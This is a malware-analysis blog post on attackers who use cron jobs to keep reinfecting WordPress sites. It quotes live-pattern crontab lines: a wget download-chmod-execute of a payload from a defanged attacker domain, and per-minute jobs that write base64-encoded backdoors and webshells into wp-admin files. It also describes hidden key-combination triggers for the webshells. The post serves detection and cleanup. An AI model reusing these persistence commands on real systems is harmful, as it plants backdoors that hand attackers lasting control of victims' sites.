Attackers Abuse Cron Jobs to Reinfect Websites

Malicious cron jobs are nothing new; we’ve seen attackers use them quite frequently to reinfect websites. However, in recent months we’ve noticed a distinctive new wave of these infections that appears to be closely related to this article about a backdoor that we’ve been tracking.

In today’s post we’ll be discussing what cron jobs are, how attackers leverage them to reinfect and access websites, and analyze a distinctive new wave of cron jobs.

What is a cron job?

First thing’s first: Let’s review what a cron job is and why they would be useful to attackers. Essentially, a cron job is a scheduled task that runs periodically within a linux hosting environment.

There are many uses for cron jobs, and some examples include:

• Scheduling backups of databases and files
• Automating software updates
• Running analytic or sales reports
• Automation of email reports for new users or website traffic
• Cleaning up old, unnecessary files like old logs or temporary files
• Updating news feeds or stock/sales quotes
• Monitoring website health or any errors generated
• Send out Newsletters

They can save a lot of time from what would otherwise be fairly monotonous manual work. These scheduled tasks can be run daily, weekly, monthly, yearly, or — in the case of malicious cron jobs — much more frequently.

How do attackers abuse cron jobs?

This begs the question: How do attackers abuse these scheduled tasks and how do they fit into a malware infection?

Most often the answer is quite simple: Reinfection (although in some rare cases the cron job fetches commands to run from a command and control server).

Let’s take a look at an older example of a fairly common malicious cron job:

*/15 * * * * wget -q -O xxxd hxxp://hello.hellodolly777[.]xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home/<REDACTED>/public_html 24 && rm -f xxxd

This malicious cron job runs once every 15 minutes. It grabs malicious content from a third party domain hello[.]hellodolly777[.]xyz (one of many domains used by this campaign) and executes it on the fly to reinfect the environment. The domain is a clear reference to the “Hello Dolly” WordPress plugin which comes bundled with a fresh installation. This type of cron job is associated with the AnonymousFox toolkit and has been around for a while (at least April of last year).

Website owners trying to clean up a malware infection from their environment before checking for these types of cron jobs can be in for a headache, so be sure to check this first before undergoing any sort of cleanup!

Now let’s take a look at the more recent wave of malicious cron jobs.

New wave of attacks

In July 2022 the campaign related to the “Konami code backdoor” started using cron jobs to drop persistent backdoors on compromised sites. There have been multiple variations of the cron jobs since then. Lately, the most common variant includes the telltale string /9j/4jw/ at the beginning.

* * * * * fp="/home/[REDACTED]/public_html/[REDACTED].net/wp-admin/inc.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywi

... skipped ~30Kb of base64-encrypted data ...

EHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp"

This cron job checks dumps the base64-decoded string to a certain file (in the case of this example it’s /wp-admin/inc.php) if it is empty or doesn’t exist and sets its permission to 444 (read-only) to prevent easy modifications.

The * * * * * instruction in the cron job indicates that it is set to run every single minute, so it’s quite an aggressive reinfection schedule.

Let’s see what we get when we decode that base64 content:

Well, well, well, if it isn’t our old friend core-stab from a recent blog post! In case you missed that article, this is a backdoor lodged in binary content within the wp-content/plugins/core-stab/front/front.jpeg file.

When the binary content is extracted this is what we get:

As described in the backdoor analysis, the attackers were previously lodging this binary backdoor within an image file and calling it through a very small PHP script. This allowed them to evade detection by placing the malware in a file extension that is often not scanned on default settings of popular WordPress security plugins.

In this case, however, they appear to be taking a more “traditional” route by placing it in a regular, good old fashioned PHP script.

Webshell hidden in malicious cron job

The core-stab backdoor is closely linked with a malicious webshell titled task-controller, and both of them are both closely linked to the widespread and ongoing NDSW/NDSX malware infection.

Parsing through the list of detected malicious cron jobs we’ve also identified this variant:

*/23 * * * * fp="/home2/[REDACTED]/public_html/wp-content/plugins/task-controller/index.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKLyoKUGx1Z2luIE5hbWU6IFRhc2sgQ29udHJvbGxlcgpQbHVnaW4gVVJJOi

... skipped ~30Kb of base64-encrypted data ...

c7Cn0KCm5ldyBUYXNrKCk7" | base64 --decode > "$fp"; fi; chmod 644 "$fp"

Sure enough, when decoded we see the exact same webshell identified in our previous post:

When accessed directly, this webshell shows a 404 unless the following button combination is enabled. By holding down the CTRL key on the keyboard followed by a left mouse button click which unlocks the password prompt to enter the webshell.

Interestingly, the entire contents of the malicious webshell is lodged within a single ~30Kb cron job.

Cron job dumps dumps webshell into wp-admin/src.php

Finally, a third cron job that we have seen as of late which also seems to relate to Socgholish malware lodges an entire (heavily obfuscated) malicious webshell within a single cron job and dumping its contents into the wp-admin/src.php file:

* * * * * fp="/home/[REDACTED]/public_html/[REDACTED]/wp-admin/src.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgLypJRU16eH1le1RhUyckcUREWT41THtJUkpAJDl0SiovcGFyc2Vfc3RyCSNUPWJHPV10cyk1SGZ7Ny19TUlDJmgie3pEY

... skipped ~30Kb of base64-encrypted data ...

0RUZwLzd4YkxZUFBiNHp6eWJoVmZBXXs0SEpaOn5ERHZfMVoN" | base64 --decode > "$fp"; fi; chmod 644 "$fp"

The backdoor created by this scheduled task is heavily obfuscated with lots of garbage comments that make it unreadable.

When decoded we can see that it’s indeed a WSOX ENC V2 webshell which uses the same “Konami code combination” in order to reveal itself on the fake 404 page.

Similar to the previous example the cron will reinfect the file every minute until it is removed along with the rest of the infection to prevent it from coming back right away.

All in all these cron jobs by no means could be considered a mass infection but it’s certainly a noteworthy tactic that we see attackers using on a daily basis.

It’s worth noting that this is not the only campaign that uses cron malicious jobs. We often see Japanese spam and gambling spam infections using cron jobs to make sure the bad actors can regain the access to the compromised websites even if all the malicious files are cleaned and the initial vulnerabilities are closed.

Cleanup and mitigation

It’s easy to forget about cron jobs. Many people don’t know about them — and neither file scans nor database scans will check for crons.

Furthermore, malicious cron jobs can be aggressive and persistent. Even if you restore all your files and database from a clean backup and close all known vulnerabilities the malicious scheduled tasks will still be there and will reinfect your site in a few minutes.

Getting rid of malware infections like these can be very tricky, since cron jobs often work in tandem with malicious processes which also works in tandem with malware injections in files.

Consider the following:

• The cron jobs will reinfect the file system
• The malware within the files will restart the malicious process
• The process will both spawn the cron job and reinfect the files

Overall, their tactic of lodging their backdoor and webshell into an image is still much more common, but they appear to be leveraging a variety of tactics to keep their victim’s environments infected.

As a first step to tackling these unsavory scheduled tasks be sure to check for active scheduled tasks from your hosting control panel. If you have SSH access, you can use the crontab -l command to check for these unwanted scheduled tasks.

To mitigate risk and avoid infection in the first place, practice these WordPress security best practices to harden your environment:

• Practice the principle of least privilege and only provide access to users when absolutely necessary.
• Remove the default wp-admin account and use a unique username to help prevent brute force attacks.
• Use strong unique passwords and usernames for all of your credentials.
• Employ 2FA/MFA for a second level of security for your WordPress account.
• Limit WordPress login attempts, block bad bots, and restrict access to authenticated URLs with a web application firewall.

If you’re struggling with a persistent malware infection and would like some help getting your environment cleaned up, we’re always happy to lend a hand with malware cleanup!